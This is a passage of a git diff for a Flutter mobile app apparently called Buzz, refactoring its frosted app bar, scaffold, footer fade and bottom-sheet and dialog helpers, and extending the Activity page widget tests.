+    final centeredLabel = Align(
+      alignment: Alignment.center,
+      widthFactor: fillWidth ? null : 1,
+      heightFactor: 1,
+      child: label,
+    );
     final chip = FilterChip(
       selected: isSelected,
       showCheckmark: false,
+      shape: RoundedRectangleBorder(
+        borderRadius: BorderRadius.circular(Radii.lg),
+      ),
+      side: BorderSide.none,
       label: fillWidth
-          ? SizedBox(
-              width: double.infinity,
-              child: Center(child: label),
-            )
-          : label,
+          ? SizedBox(width: double.infinity, child: centeredLabel)
+          : centeredLabel,
+      labelPadding: EdgeInsets.zero,
       onSelected: (_) => onSelected(item.id),
       padding: EdgeInsets.symmetric(
         horizontal: fillWidth ? Grid.quarter : Grid.twelve,
diff --git a/mobile/lib/shared/widgets/frosted_app_bar.dart b/mobile/lib/shared/widgets/frosted_app_bar.dart
index 6a0bd2729d..2a2993f330 100644
--- a/mobile/lib/shared/widgets/frosted_app_bar.dart
+++ b/mobile/lib/shared/widgets/frosted_app_bar.dart
@@ -4,6 +4,7 @@ import 'package:flutter/material.dart';
 import 'package:lucide_icons_flutter/lucide_icons.dart';
 
 import '../theme/theme.dart';
+import 'directional_transition_scope.dart';
 
 /// Minimum height of the frosted app bar content area below the safe area.
 const _kBarContentMinHeight = Grid.xxs + 32 + Grid.xxs; // 48
@@ -35,6 +36,22 @@ double _barContentHeight(
       : _kBarContentMinHeight;
 }
 
+/// Height for a compact title rail below the app bar's action row.
+///
+/// The rail normally stays at 40dp, but grows with an accessible title rather
+/// than clipping text at larger system text sizes.
+double frostedAppBarLowerTitleHeight(
+  BuildContext context, {
+  TextStyle? titleStyle,
+}) {
+  final style = _effectiveTitleStyle(context, titleStyle);
+  final scaledFontSize = MediaQuery.textScalerOf(
+    context,
+  ).scale(style.fontSize ?? 20);
+  final titleHeight = scaledFontSize * (style.height ?? 1);
+  return titleHeight > 40 ? titleHeight : 40;
+}
+
 /// Returns the total height of the [FrostedAppBar] including safe area padding.
 ///
 /// Use this to add top spacing to body content so it starts below the bar.
@@ -81,6 +98,11 @@ class FrostedAppBar extends StatelessWidget {
   /// Height reserved for [bottom].
   final double bottomHeight;
 
+  /// Extends [bottom] upward into the title row without moving the app bar's
+  /// outer bounds. This keeps overlapping controls inside the app bar's hit
+  /// test region as well as its paint region.
+  final double bottomOverlap;
+
   /// Widgets displayed on the trailing (right) side.
   final List<Widget> actions;
 
@@ -95,6 +117,24 @@ class FrostedAppBar extends StatelessWidget {
   /// top section — see [buzzTopSectionGradient].
   final Gradient? gradient;
 
+  /// Whether to apply the translucent blur treatment behind the app bar.
+  ///
+  /// A page can leave its painted backdrop exposed at rest, then turn this on
+  /// when scrolling moves content beneath the controls.
+  final bool frosted;
+
+  /// Opacity of the frosted surface above the blurred backdrop.
+  final double frostedSurfaceOpacity;
+
+  /// Blur strength of the frosted backdrop.
+  final double frostedBlurSigma;
+
+  /// Whether to draw a divider below the app bar.
+  final bool showBottomDivider;
+
+  /// Opacity of the divider below the app bar.
+  final double bottomDividerOpacity;
+
   const FrostedAppBar({
     super.key,
     this.leading,
@@ -104,11 +144,21 @@ class FrostedAppBar extends StatelessWidget {
     this.titleContentHeight = 0,
     this.bottom,
     this.bottomHeight = 0,
+    this.bottomOverlap = 0,
     this.actions = const [],
     this.horizontalInset = Grid.quarter,
     this.iconColor,
     this.gradient,
-  }) : assert(bottom == null || bottomHeight > 0);
+    this.frosted = true,
+    this.frostedSurfaceOpacity = 0.5,
+    this.frostedBlurSigma = 20,
+    this.showBottomDivider = true,
+    this.bottomDividerOpacity = 0.15,
+  }) : assert(bottom == null || bottomHeight > 0),
+       assert(bottomOverlap >= 0),
+       assert(bottom != null || bottomOverlap == 0),
+       assert(frostedBlurSigma >= 0),
+       assert(bottomDividerOpacity >= 0 && bottomDividerOpacity <= 1);
 
   @override
   Widget build(BuildContext context) {
@@ -136,75 +186,112 @@ class FrostedAppBar extends StatelessWidget {
               )
             : null);
 
-    return Positioned(
-      top: 0,
-      left: 0,
-      right: 0,
-      child: ClipRect(
-        child: BackdropFilter(
-          filter: ImageFilter.blur(sigmaX: 20, sigmaY: 20),
-          child: Container(
-            padding: EdgeInsets.only(top: topPadding),
-            decoration: BoxDecoration(
-              // A gradient and a color cannot both paint, so the gradient
-              // replaces the frosted surface fill when one is supplied.
-              color: gradient == null
-                  ? context.colors.surface.withValues(alpha: 0.5)
-                  : null,
-              gradient: gradient,
-              border: Border(
-                bottom: BorderSide(
-                  color: context.colors.outlineVariant.withValues(alpha: 0.3),
-                  width: _kBottomBorderWidth,
-                ),
-              ),
-            ),
-            child: Column(
-              mainAxisSize: MainAxisSize.min,
-              children: [
-                SizedBox(
-                  height: barContentHeight,
+    final titleRow = SizedBox(
+      height: barContentHeight,
+      child: Padding(
+        padding: EdgeInsets.symmetric(horizontal: horizontalInset),
+        child: IconTheme.merge(
+          data: IconThemeData(color: iconColor),
+          child: Row(
+            children: [
+              ?effectiveLeading,
+              if (title != null)
+                Expanded(
                   child: Padding(
-                    padding: EdgeInsets.symmetric(horizontal: horizontalInset),
-                    child: IconTheme.merge(
-                      data: IconThemeData(color: iconColor),
-                      child: Row(
-                        children: [
-                          ?effectiveLeading,
-                          if (title != null)
-                            Expanded(
-                              child: Padding(
-                                padding: EdgeInsets.only(
-                                  left: effectiveLeading != null
-                                      ? 0
-                                      : Grid.gutter - Grid.quarter,
-                                  right: actions.isEmpty
-                                      ? Grid.gutter - Grid.quarter
-                                      : 0,
-                                ),
-                                child: DefaultTextStyle.merge(
-                                  style: effectiveTitleStyle,
-                                  overflow: TextOverflow.ellipsis,
-                                  maxLines: 1,
-                                  child: title!,
-                                ),
-                              ),
-                            )
-                          else
-                            const Spacer(),
-                          ...actions,
-                        ],
-                      ),
+                    padding: EdgeInsets.only(
+                      left: effectiveLeading != null
+                          ? 0
+                          : horizontalInset < Grid.gutter
+                          ? Grid.gutter - horizontalInset
+                          : 0,
+                      right: actions.isEmpty
+                          ? horizontalInset < Grid.gutter
+                                ? Grid.gutter - horizontalInset
+                                : 0
+                          : 0,
+                    ),
+                    child: DefaultTextStyle.merge(
+                      style: effectiveTitleStyle,
+                      overflow: TextOverflow.ellipsis,
+                      maxLines: 1,
+                      child: title!,
                     ),
                   ),
+                )
+              else
+                const Spacer(),
+              ...actions,
+            ],
+          ),
+        ),
+      ),
+    );
+    final contentBody = bottom != null && bottomOverlap > 0
+        ? SizedBox(
+            height: barContentHeight + bottomHeight,
+            child: Stack(
+              children: [
+                Positioned(top: 0, left: 0, right: 0, child: titleRow),
+                Positioned(
+                  top: barContentHeight - bottomOverlap,
+                  left: 0,
+                  right: 0,
+                  height: bottomHeight + bottomOverlap,
+                  child: bottom!,
                 ),
-                if (bottom != null)
-                  SizedBox(height: bottomHeight, child: bottom),
               ],
             ),
-          ),
-        ),
+          )
+        : Column(
+            mainAxisSize: MainAxisSize.min,
+            children: [
+              titleRow,
+              if (bottom != null) SizedBox(height: bottomHeight, child: bottom),
+            ],
+          );
+
+    final content = DirectionalTransitionMotion(
+      transformKey: const ValueKey(
+        'frosted-app-bar-content-transition-transform',
       ),
+      opacityKey: const ValueKey('frosted-app-bar-content-transition-opacity'),
+      child: contentBody,
     );
+
+    final background = Container(
+      key: const ValueKey('frosted-app-bar-background'),
+      padding: EdgeInsets.only(top: topPadding),
+      decoration: BoxDecoration(
+        color: !frosted
+            ? Colors.transparent
+            : gradient == null
+            ? context.colors.surface.withValues(alpha: frostedSurfaceOpacity)
+            : null,
+        gradient: gradient,
+        border: showBottomDivider
+            ? Border(
+                bottom: BorderSide(
+                  color: navigationDivider(context, bottomDividerOpacity),
+                  width: _kBottomBorderWidth,
+                ),
+              )
+            : null,
+      ),
+      child: content,
+    );
+
+    final child = ClipRect(
+      child: frosted
+          ? BackdropFilter(
+              filter: ImageFilter.blur(
+                sigmaX: frostedBlurSigma,
+                sigmaY: frostedBlurSigma,
+              ),
+              child: background,
+            )
+          : background,
+    );
+
+    return Positioned(top: 0, left: 0, right: 0, child: child);
   }
 }
diff --git a/mobile/lib/shared/widgets/frosted_scaffold.dart b/mobile/lib/shared/widgets/frosted_scaffold.dart
index fc0e2fe506..7243d66276 100644
--- a/mobile/lib/shared/widgets/frosted_scaffold.dart
+++ b/mobile/lib/shared/widgets/frosted_scaffold.dart
@@ -1,5 +1,6 @@
 import 'package:flutter/material.dart';
 
+import 'directional_transition_scope.dart';
 import 'frosted_app_bar.dart';
 
 /// A convenience [Scaffold] that overlays a [FrostedAppBar] on top of its body.
@@ -25,6 +26,9 @@ class FrostedScaffold extends StatelessWidget {
   /// surface behind this page.
   final Color? backgroundColor;
 
+  /// A fixed gradient painted behind the app bar and scrolling body.
+  final Gradient? backgroundGradient;
+
   const FrostedScaffold({
     super.key,
     required this.appBar,
@@ -32,6 +36,7 @@ class FrostedScaffold extends StatelessWidget {
     this.floatingActionButton,
     this.resizeToAvoidBottomInset,
     this.backgroundColor,
+    this.backgroundGradient,
   });
 
   @override
@@ -40,7 +45,41 @@ class FrostedScaffold extends StatelessWidget {
       backgroundColor: backgroundColor,
       resizeToAvoidBottomInset: resizeToAvoidBottomInset,
       floatingActionButton: floatingActionButton,
-      body: Stack(children: [body, appBar]),
+      body: Stack(children: _stackChildren()),
     );
   }
+
+  List<Widget> _stackChildren() {
+    final backdrop = backgroundGradient == null
+        ? const <Widget>[]
+        : [
+            Positioned.fill(
+              child: _PinnedGradientBackground(gradient: backgroundGradient!),
+            ),
+          ];
+    final bodyMotion = DirectionalTransitionMotion(
+      transformKey: const ValueKey(
+        'frosted-scaffold-body-transition-transform',
+      ),
+      opacityKey: const ValueKey('frosted-scaffold-body-transition-opacity'),
+      child: body,
+    );
+    // The bar must be painted after the scrollable sheet: [BackdropFilter]
+    // only samples pixels that were already painted behind it. This is the
+    // same composition as channel navigation, so top-level headers blur their
+    // content rather than only the fixed gradient.
+    return [...backdrop, bodyMotion, appBar];
+  }
+}
+
+class _PinnedGradientBackground extends StatelessWidget {
+  final Gradient gradient;
+
+  const _PinnedGradientBackground({required this.gradient});
+
+  @override
+  Widget build(BuildContext context) => DecoratedBox(
+    key: const ValueKey('frosted-scaffold-pinned-gradient'),
+    decoration: BoxDecoration(gradient: gradient),
+  );
 }
diff --git a/mobile/lib/shared/widgets/keyboard_dismiss_on_drag.dart b/mobile/lib/shared/widgets/keyboard_dismiss_on_drag.dart
index f562b9f83a..93371bdd0b 100644
--- a/mobile/lib/shared/widgets/keyboard_dismiss_on_drag.dart
+++ b/mobile/lib/shared/widgets/keyboard_dismiss_on_drag.dart
@@ -27,8 +27,13 @@ const keyboardDismissDragThreshold = 48.0;
 /// `WindowInsetsAnimationController`).
 class KeyboardDismissOnDrag extends HookWidget {
   final Widget child;
+  final VoidCallback? onUserScrollStart;
 
-  const KeyboardDismissOnDrag({super.key, required this.child});
+  const KeyboardDismissOnDrag({
+    super.key,
+    this.onUserScrollStart,
+    required this.child,
+  });
 
   @override
   Widget build(BuildContext context) {
@@ -37,8 +42,12 @@ class KeyboardDismissOnDrag extends HookWidget {
     final downwardTravel = useRef(0.0);
 
     bool handle(ScrollNotification notification) {
-      if (notification is ScrollStartNotification ||
-          notification is ScrollEndNotification) {
+      if (notification is ScrollStartNotification) {
+        if (notification.dragDetails != null) onUserScrollStart?.call();
+        downwardTravel.value = 0;
+        return false;
+      }
+      if (notification is ScrollEndNotification) {
         downwardTravel.value = 0;
         return false;
       }
diff --git a/mobile/lib/shared/widgets/mobile_tab_footer_backdrop.dart b/mobile/lib/shared/widgets/mobile_tab_footer_backdrop.dart
index 687880acb1..36e0ce573e 100644
--- a/mobile/lib/shared/widgets/mobile_tab_footer_backdrop.dart
+++ b/mobile/lib/shared/widgets/mobile_tab_footer_backdrop.dart
@@ -8,13 +8,32 @@ const mobileTabBarHeight = 56.0;
 /// Gap between the floating mobile tab bar and the bottom safe area.
 const mobileTabBarBottomGap = Grid.twelve;
 
-/// Returns the shared footer backdrop height, including the logical safe area.
-double mobileTabFooterBackdropHeight(BuildContext context) =>
-    mobileTabBarHeight +
-    mobileTabBarBottomGap +
-    MediaQuery.paddingOf(context).bottom +
-    Grid.xl +
-    Grid.gutter;
+/// Fixed visual height of the shared footer fade behind the floating tab bar.
+double mobileTabFooterBackdropHeight(BuildContext _) => 180;
+
+/// Builds the shared transparent-to-surface footer fade.
+///
+/// Kept separate from [MobileTabFooterBackdrop] so floating controls such as
+/// the channel composer can paint the exact same fade behind their own content.
+LinearGradient mobileTabFooterBackdropGradient(
+  BuildContext context, {
+  List<double> stops = const [0, 0.18, 0.38, 0.6, 0.8, 1],
+  List<double> opacities = const [0, 0.03, 0.12, 0.34, 0.7, 1],
+  Color? tint,
+  double tintBlend = 0,
+}) {
+  assert(stops.length == opacities.length);
+  assert(tintBlend >= 0 && tintBlend <= 1);
+  final surface = Color.lerp(context.colors.surface, tint, tintBlend)!;
+  return LinearGradient(
+    begin: Alignment.topCenter,
+    end: Alignment.bottomCenter,
+    stops: stops,
+    colors: [
+      for (final opacity in opacities) surface.withValues(alpha: opacity),
+    ],
+  );
+}
 
 /// Shared fade behind the floating mobile tab bar.
 class MobileTabFooterBackdrop extends StatelessWidget {
@@ -27,32 +46,38 @@ class MobileTabFooterBackdrop extends StatelessWidget {
   /// Surface-color alpha values paired with [stops].
   final List<double> opacities;
 
+  /// Optional color blended into the surface before opacity is applied.
+  final Color? tint;
+
+  /// Amount of [tint] mixed into the surface, from 0 to 1.
+  final double tintBlend;
+
   /// Creates a footer backdrop with the required [height].
   ///
   /// Override [stops] and [opacities] together to customize the gradient.
   const MobileTabFooterBackdrop({
     super.key,
     required this.height,
-    this.stops = const [0, 0.5, 1],
-    this.opacities = const [0, 0.75, 1],
-  }) : assert(stops.length == opacities.length);
+    this.stops = const [0, 0.18, 0.38, 0.6, 0.8, 1],
+    this.opacities = const [0, 0.03, 0.12, 0.34, 0.7, 1],
+    this.tint,
+    this.tintBlend = 0,
+  }) : assert(stops.length == opacities.length),
+       assert(tintBlend >= 0 && tintBlend <= 1);
 
   @override
   Widget build(BuildContext context) {
-    final surface = context.colors.surface;
     return SizedBox(
       height: height,
       width: double.infinity,
       child: DecoratedBox(
         decoration: BoxDecoration(
-          gradient: LinearGradient(
-            begin: Alignment.topCenter,
-            end: Alignment.bottomCenter,
+          gradient: mobileTabFooterBackdropGradient(
+            context,
             stops: stops,
-            colors: [
-              for (final opacity in opacities)
-                surface.withValues(alpha: opacity),
-            ],
+            opacities: opacities,
+            tint: tint,
+            tintBlend: tintBlend,
           ),
         ),
       ),
diff --git a/mobile/lib/shared/widgets/modal_presentation.dart b/mobile/lib/shared/widgets/modal_presentation.dart
new file mode 100644
index 0000000000..3793774a2d
--- /dev/null
+++ b/mobile/lib/shared/widgets/modal_presentation.dart
@@ -0,0 +1,220 @@
+import 'dart:async';
+
+import 'package:flutter/foundation.dart';
+import 'package:flutter/material.dart';
+import 'package:flutter/services.dart';
+import 'package:lucide_icons_flutter/lucide_icons.dart';
+
+import '../theme/theme.dart';
+import 'concentric_sheet_surface.dart';
+
+/// Shared motion for occasional modal UI.
+///
+/// The strong ease-out makes entrances respond immediately, while the shorter
+/// exit keeps dismissals from feeling sluggish.
+const buzzModalAnimationStyle = AnimationStyle(
+  curve: Cubic(0.23, 1, 0.32, 1),
+  duration: Duration(milliseconds: 280),
+  reverseCurve: Cubic(0.77, 0, 0.175, 1),
+  reverseDuration: Duration(milliseconds: 220),
+);
+
+/// Shows a bottom sheet with Buzz's shared motion and sheet chrome.
+///
+/// Sheets include the shared close control by default. On iOS, the surface
+/// uses native concentric corners when available and paints a requested drag
+/// handle inside that inset surface; other platforms retain Flutter's handle.
+Future<T?> showBuzzModalBottomSheet<T>({
+  required BuildContext context,
+  required WidgetBuilder builder,
+  Color? backgroundColor,
+  String? barrierLabel,
+  double? elevation,
+  ShapeBorder? shape,
+  Clip? clipBehavior,
+  BoxConstraints? constraints,
+  Color? barrierColor,
+  bool isScrollControlled = false,
+  double scrollControlDisabledMaxHeightRatio = 9.0 / 16.0,
+  bool useRootNavigator = false,
+  bool isDismissible = true,
+  bool enableDrag = true,
+  bool? showDragHandle,
+  bool showCloseButton = true,
+  bool useSafeArea = false,
+  RouteSettings? routeSettings,
+  AnimationController? transitionAnimationController,
+  Offset? anchorPoint,
+  AnimationStyle? sheetAnimationStyle,
+  bool? requestFocus,
+}) {
+  final isIos = defaultTargetPlatform == TargetPlatform.iOS;
+  final theme = Theme.of(context);
+  final surfaceColor =
+      backgroundColor ??
+      theme.bottomSheetTheme.modalBackgroundColor ??
+      theme.bottomSheetTheme.backgroundColor ??
+      context.colors.surface;
+  final reduceMotion = MediaQuery.disableAnimationsOf(context);
+
+  return showModalBottomSheet<T>(
+    context: context,
+    builder: (sheetContext) => ConcentricSheetSurface(
+      enabled: isIos,
+      color: surfaceColor,
+      child: _SheetContent(
+        showCloseButton: showCloseButton,
+        showDragHandle: isIos && showDragHandle == true,
+        child: builder(sheetContext),
+      ),
+    ),
+    backgroundColor: isIos ? Colors.transparent : backgroundColor,
+    barrierLabel: barrierLabel,
+    elevation: elevation,
+    shape: shape,
+    clipBehavior: clipBehavior,
+    constraints: constraints,
+    barrierColor: barrierColor,
+    isScrollControlled: isScrollControlled,
+    scrollControlDisabledMaxHeightRatio: scrollControlDisabledMaxHeightRatio,
+    useRootNavigator: useRootNavigator,
+    isDismissible: isDismissible,
+    enableDrag: enableDrag,
+    // The iOS route is transparent so its stock handle sits outside the inset
+    // concentric surface. Paint it inside the surface above instead.
+    showDragHandle: isIos ? false : showDragHandle,
+    useSafeArea: useSafeArea,
+    routeSettings: routeSettings,
+    transitionAnimationController: transitionAnimationController,
+    anchorPoint: anchorPoint,
+    sheetAnimationStyle: reduceMotion
+        ? AnimationStyle.noAnimation
+        : (sheetAnimationStyle ?? buzzModalAnimationStyle),
+    requestFocus: requestFocus,
+  );
+}
+
+class _SheetContent extends StatelessWidget {
+  const _SheetContent({
+    required this.child,
+    required this.showCloseButton,
+    required this.showDragHandle,
+  });
+
+  final Widget child;
+  final bool showCloseButton;
+  final bool showDragHandle;
+
+  @override
+  Widget build(BuildContext context) {
+    return Column(
+      mainAxisSize: MainAxisSize.min,
+      children: [
+        if (showCloseButton)
+          Padding(
+            padding: const EdgeInsets.only(
+              top: Grid.xxs,
+              left: Grid.gutter,
+              right: Grid.gutter,
+              bottom: Grid.xs,
+            ),
+            child: SizedBox(
+              height: 56,
+              child: Stack(
+                alignment: Alignment.topCenter,
+                children: [
+                  if (showDragHandle) const _SheetDragHandle(),
+                  Align(
+                    alignment: Alignment.bottomRight,
+                    child: SizedBox.square(
+                      dimension: 44,
+                      child: IconButton(
+                        tooltip: 'Close sheet',
+                        onPressed: () {
+                          unawaited(HapticFeedback.lightImpact());
+                          Navigator.of(context).pop();
+                        },
+                        style: IconButton.styleFrom(
+                          padding: EdgeInsets.zero,
+                          backgroundColor:
+                              context.colors.surfaceContainerHighest,
+                          foregroundColor: context.colors.onSurface,
+                          shape: RoundedRectangleBorder(
+                            borderRadius: BorderRadius.circular(Radii.dialog),
+                          ),
+                        ),
+                        icon: const Icon(LucideIcons.x, size: 22),
+                      ),
+                    ),
+                  ),
+                ],
+              ),
+            ),
+          )
+        else if (showDragHandle)
+          const Padding(
+            padding: EdgeInsets.only(top: Grid.xxs, bottom: Grid.xs),
+            child: _SheetDragHandle(),
+          ),
+        Flexible(child: child),
+      ],
+    );
+  }
+}
+
+class _SheetDragHandle extends StatelessWidget {
+  const _SheetDragHandle();
+
+  @override
+  Widget build(BuildContext context) {
+    return Semantics(
+      label: 'Drag handle',
+      child: Container(
+        key: const ValueKey('buzz-sheet-drag-handle'),
+        width: 32,
+        height: 4,
+        decoration: BoxDecoration(
+          color: context.colors.onSurfaceVariant.withValues(alpha: 0.4),
+          borderRadius: BorderRadius.circular(Radii.full),
+        ),
+      ),
+    );
+  }
+}
+
+/// Shows a dialog with Buzz's shared motion, respecting reduced-motion settings.
+Future<T?> showBuzzDialog<T>({
+  required BuildContext context,
+  required WidgetBuilder builder,
+  bool barrierDismissible = true,
+  Color? barrierColor,
+  String? barrierLabel,
+  bool useSafeArea = true,
+  bool useRootNavigator = true,
+  RouteSettings? routeSettings,
+  Offset? anchorPoint,
+  TraversalEdgeBehavior? traversalEdgeBehavior,
+  bool fullscreenDialog = false,
+  bool? requestFocus,
+  AnimationStyle? animationStyle,
+}) {
+  final reduceMotion = MediaQuery.disableAnimationsOf(context);
+
+  return showDialog<T>(
+    context: context,
+    builder: builder,
+    barrierDismissible: barrierDismissible,
+    barrierColor: barrierColor,
+    barrierLabel: barrierLabel,
+    useSafeArea: useSafeArea,
+    useRootNavigator: useRootNavigator,
+    routeSettings: routeSettings,
+    anchorPoint: anchorPoint,
+    traversalEdgeBehavior: traversalEdgeBehavior,
+    fullscreenDialog: fullscreenDialog,
+    requestFocus: requestFocus,
+    animationStyle: reduceMotion
+        ? AnimationStyle.noAnimation
+        : (animationStyle ?? buzzModalAnimationStyle),
+  );
+}
diff --git a/mobile/pubspec.lock b/mobile/pubspec.lock
index 05ccc2ea0f..6287e4c86c 100644
--- a/mobile/pubspec.lock
+++ b/mobile/pubspec.lock
@@ -274,7 +274,7 @@ packages:
     source: hosted
     version: "0.3.5+2"
   crypto:
-    dependency: transitive
+    dependency: "direct dev"
     description:
       name: crypto
       sha256: c8ea0233063ba03258fbcf2ca4d6dadfefe14f02fab57702265467a19f27fadf
diff --git a/mobile/pubspec.yaml b/mobile/pubspec.yaml
index 42b7935582..41d2a0aeb8 100644
--- a/mobile/pubspec.yaml
+++ b/mobile/pubspec.yaml
@@ -47,6 +47,7 @@ dev_dependencies:
   flutter_test:
     sdk: flutter
   flutter_lints: ^6.0.0
+  crypto: ^3.0.7
   custom_lint: ^0.8.0
   riverpod_lint: ^3.1.0
   mocktail: ^1.0.4
diff --git a/mobile/test/features/activity/activity_page_test.dart b/mobile/test/features/activity/activity_page_test.dart
index a0293455f2..8619a513d9 100644
--- a/mobile/test/features/activity/activity_page_test.dart
+++ b/mobile/test/features/activity/activity_page_test.dart
@@ -1,5 +1,6 @@
 import 'dart:async';
 
+import 'package:flutter/foundation.dart';
 import 'package:buzz/features/activity/activity_page.dart';
 import 'package:buzz/features/activity/activity_provider.dart';
 import 'package:buzz/features/activity/feed_item.dart';
@@ -9,15 +10,18 @@ import 'package:buzz/features/channels/channel.dart';
 import 'package:buzz/features/channels/channel_detail_page.dart';
 import 'package:buzz/features/channels/message_content.dart';
 import 'package:buzz/features/channels/channels_provider.dart';
-import 'package:buzz/features/channels/read_state/read_state_provider.dart';
+import 'package:buzz/shared/read_state/read_state_provider.dart';
 import 'package:buzz/features/profile/user_cache_provider.dart';
 import 'package:buzz/features/profile/user_profile.dart';
 import 'package:buzz/shared/theme/theme.dart';
+import 'package:buzz/shared/widgets/anchored_popover_menu.dart';
 import 'package:buzz/shared/widgets/frosted_app_bar.dart';
 import 'package:buzz/shared/widgets/avatar_image.dart';
 import 'package:flutter/material.dart';
+import 'package:flutter/services.dart';
 import 'package:flutter_test/flutter_test.dart';
 import 'package:hooks_riverpod/hooks_riverpod.dart';
+import 'package:lucide_icons_flutter/lucide_icons.dart';
 import 'package:shared_preferences/shared_preferences.dart';
 
 void main() {
@@ -111,6 +115,8 @@ void main() {
     Map<String, int> readContexts = const {},
     List<Channel>? channels,
     TextScaler? textScaler,
+    EdgeInsets mediaPadding = EdgeInsets.zero,
+    ValueListenable<int>? tabReselection,
   }) async {
     SharedPreferences.setMockInitialValues({});
     final prefs = await SharedPreferences.getInstance();
@@ -133,13 +139,13 @@ void main() {
       ],
       child: MaterialApp(
         theme: AppTheme.light(),
-        builder: textScaler == null
-            ? null
-            : (context, child) => MediaQuery(
-                data: MediaQuery.of(context).copyWith(textScaler: textScaler),
-                child: child!,
-              ),
-        home: const ActivityPage(),
+        builder: (context, child) => MediaQuery(
+          data: MediaQuery.of(
+            context,
+          ).copyWith(textScaler: textScaler, padding: mediaPadding),
+          child: child!,
+        ),
+        home: ActivityPage(tabReselection: tabReselection),
       ),
     );
   }
@@ -177,21 +183,99 @@ void main() {
     await tester.pumpWidget(await buildTestable());
     await tester.pumpAndSettle();
 
-    final appBar = tester.widget<FrostedAppBar>(find.byType(FrostedAppBar));
+    final appBar = tester.widget<FrostedAppBar>(
+      find.byType(FrostedAppBar).last,
+    );
     expect(appBar.automaticallyImplyLeading, isFalse);
+    expect(appBar.gradient, isNull);
+    expect(appBar.frosted, isTrue);
+    expect(appBar.showBottomDivider, isTrue);
+    expect(appBar.bottomHeight, Grid.xxs);
     expect(find.byTooltip('Back'), findsNothing);
   });
 
-  testWidgets('keeps bottom clearance for the floating tab bar', (
+  testWidgets('sizes the Activity app bar for its custom title style', (
     tester,
   ) async {
-    await tester.pumpWidget(await buildTestable());
+    await tester.pumpWidget(
+      await buildTestable(textScaler: const TextScaler.linear(2)),
+    );
+    await tester.pumpAndSettle();
+
+    final appBar = tester.widget<FrostedAppBar>(
+      find.byType(FrostedAppBar).last,
+    );
+    final titleStyle = appBar.titleStyle!;
+    expect(titleStyle.fontSize, 22);
+    expect(
+      tester.getSize(find.byType(ClipRect).last).height,
+      closeTo(
+        frostedAppBarHeight(
+          tester.element(find.byType(FrostedAppBar).last),
+          titleStyle: titleStyle,
+          bottomHeight: Grid.xxs,
+        ),
+        0.01,
+      ),
+    );
+  });
+
+  testWidgets('keeps footer clearance inside the scrollable content', (
+    tester,
+  ) async {
+    await tester.pumpWidget(
+      await buildTestable(mediaPadding: const EdgeInsets.only(bottom: 88)),
+    );
     await tester.pumpAndSettle();
 
-    final safeAreas = tester.widgetList<SafeArea>(find.byType(SafeArea));
-    expect(safeAreas, hasLength(1));
-    expect(safeAreas.single.top, isFalse);
-    expect(safeAreas.single.bottom, isTrue);
+    final safeArea = tester.widget<SafeArea>(
+      find.byKey(const ValueKey('activity-content-safe-area')),
+    );
+    expect(safeArea.top, isFalse);
+    expect(safeArea.bottom, isFalse);
+
+    final padding = tester.widget<SliverPadding>(
+      find.descendant(
+        of: find.byType(CustomScrollView),
+        matching: find.byType(SliverPadding),
+      ),
+    );
+    expect(padding.padding, const EdgeInsets.fromLTRB(0, Grid.xxs, 0, 96));
+  });
+
+  testWidgets('scrolls Activity to the top when its tab is selected again', (
+    tester,
+  ) async {
+    tester.view.physicalSize = const Size(320, 180);
+    tester.view.devicePixelRatio = 1;
+    addTearDown(tester.view.reset);
+    final tabReselection = ValueNotifier(0);
+    addTearDown(tabReselection.dispose);
+    await tester.pumpWidget(
+      await buildTestable(tabReselection: tabReselection),
+    );
+    await tester.pumpAndSettle();
+
+    final scrollable = tester.state<ScrollableState>(
+      find
+          .descendant(
+            of: find.byType(CustomScrollView),
+            matching: find.byType(Scrollable),
+          )
+          .first,
+    );
+    expect(scrollable.position.maxScrollExtent, greaterThan(0));
+    scrollable.position.jumpTo(scrollable.position.maxScrollExtent);
+    tabReselection.value++;
+    await tester.pump();
+    await tester.pump(const Duration(milliseconds: 130));
+
+    expect(
+      scrollable.position.pixels,
+      lessThan(scrollable.position.maxScrollExtent),
+    );
+    await tester.pumpAndSettle();
+    expect(scrollable.position.pixels, scrollable.position.minScrollExtent);
   });
 
   testWidgets('shows error view with retry button', (tester) async {
@@ -253,7 +337,13 @@ void main() {
 
     final material = tester.widget<Material>(surface);
     final shape = material.shape! as RoundedRectangleBorder;
-    expect(shape.borderRadius, BorderRadius.circular(Radii.card));
+    expect(shape.borderRadius, BorderRadius.circular(Radii.popover));
+    expect(shape.side.color, Colors.black.withValues(alpha: 0.04));
+    expect(material.elevation, appPopoverElevation);
+    expect(
+      material.shadowColor,
+      appPopoverShadowColor(tester.element(surface)),
+    );
     expect(material.surfaceTintColor, Colors.transparent);
     expect(material.clipBehavior, Clip.antiAlias);
 
@@ -269,13 +359,23 @@ void main() {
 
     await tester.tap(find.descendant(of: surface, matching: find.text('All')));
     await tester.pumpAndSettle();
-    await tester.tap(find.byKey(const ValueKey('activity-options-menu')));
+    final optionsTrigger = find.byKey(const ValueKey('activity-options-menu'));
+    expect(
+      tester.getSize(optionsTrigger),
+      const Size(Grid.xl, Grid.xl),
+      reason: 'Activity options must retain a 48dp touch target.',
+    );
+    await tester.tap(optionsTrigger);
     await tester.pump();
 
     final optionsSurface = find.byKey(
       const ValueKey('activity-options-popover'),
     );
+    final optionsMaterial = tester.widget<Material>(optionsSurface);
+    final optionsShape = optionsMaterial.shape! as RoundedRectangleBorder;
     expect(tester.getSize(optionsSurface).width, 216);
+    expect(optionsShape.borderRadius, BorderRadius.circular(Radii.popover));
+    expect(optionsMaterial.elevation, appPopoverElevation);
     expect(
       tester
           .widget<ScaleTransition>(
@@ -583,10 +683,155 @@ void main() {
 
     await tester.longPress(find.byKey(const ValueKey('inbox-row-m1')));
     await tester.pumpAndSettle();
-    await tester.tap(find.text('Mark unread'));
+    await tester.tap(
+      find.descendant(
+        of: find.byType(BottomSheet),
+        matching: find.text('Mark unread'),
+      ),
+    );
+    await tester.pumpAndSettle();
+
+    expect(find.byKey(const ValueKey('inbox-unread-dot-m1')), findsOneWidget);
+  });
+
+  testWidgets('swiping an inbox row reveals and runs its row actions', (
+    tester,
+  ) async {
+    await tester.pumpWidget(
+      await buildTestable(
+        readContexts: {'ch1': now, 'ch2': now, 'thread:root1': now},
+      ),
+    );
+    await tester.pumpAndSettle();
+
+    final row = find.byKey(const ValueKey('inbox-row-m1'));
+    final originalLeft = tester.getTopLeft(row).dx;
+    await tester.drag(row, const Offset(-200, 0));
+    await tester.pumpAndSettle();
+
+    expect(tester.getTopLeft(row).dx, lessThan(originalLeft));
+    expect(find.byKey(const ValueKey('inbox-swipe-read-m1')), findsOneWidget);
